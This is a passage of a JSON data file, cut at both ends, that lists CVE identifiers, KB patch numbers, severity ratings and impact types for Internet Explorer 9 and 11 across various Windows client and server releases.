Execution"},{"cve":"CVE-2018-8291","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343892","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467680","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471323","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471323","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471323","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480962","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493475","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003172","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 for x64-based Systems":[{"cve":"CVE-2016-0189","kb":"3156387","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185611","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012606","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048956","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053581","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025338","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034668","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088786","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103716","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343892","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467680","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471323","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471323","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471323","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480962","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493475","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003172","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048957","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025341","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034664","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034664","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088875","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103718","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338818","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338818","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343900","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471318","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471318","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480970","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493472","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525235","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537820","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003233","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048957","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025341","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034664","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034664","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088875","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103718","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338818","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338818","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343900","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471318","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471318","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480970","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493472","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525235","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003233","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048958","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8594","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074594","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088876","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4339093","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4339093","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343898","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343898","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471320","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480963","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493446","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525243","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003209","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048958","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8594","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074594","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088876","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4339093","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4339093","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343898","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343898","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471320","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480963","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493446","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525243","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003209","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows RT 8.1":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048958","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4054519","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4054519","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4054519","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4054519","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8594","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074594","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088876","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338815","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338815","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343898","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343898","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467697","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471320","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480963","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493446","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525243","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537821","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003209","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048957","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025341","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034664","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034664","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074598","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088875","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088875","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103718","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338818","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338818","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343900","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471318","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471318","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471318","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480970","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493472","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525235","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003233","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2012":[{"cve":"CVE-2019-1429","kb":"4525106","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003208","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2012 R2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012204","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048958","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8594","kb":"4025336","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025336","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034681","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034681","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074594","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088876","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088876","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103725","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4339093","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4339093","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343898","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343898","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471320","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471320","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471320","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480963","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493446","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525243","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003209","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2016":[{"cve":"CVE-2016-7241","kb":"3200970","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013429","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041691","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041691","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048953","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053579","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025339","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034658","severity":"Low","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088787","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343887","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467691","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471321","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471321","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471321","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480961","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493470","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525236","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537764","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003197","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2019":[{"cve":"CVE-2018-8552","kb":"4467708","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471332","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471332","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471332","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480116","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493509","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4523205","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532691","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003171","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 9 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Moderate","impact":"Remote Code 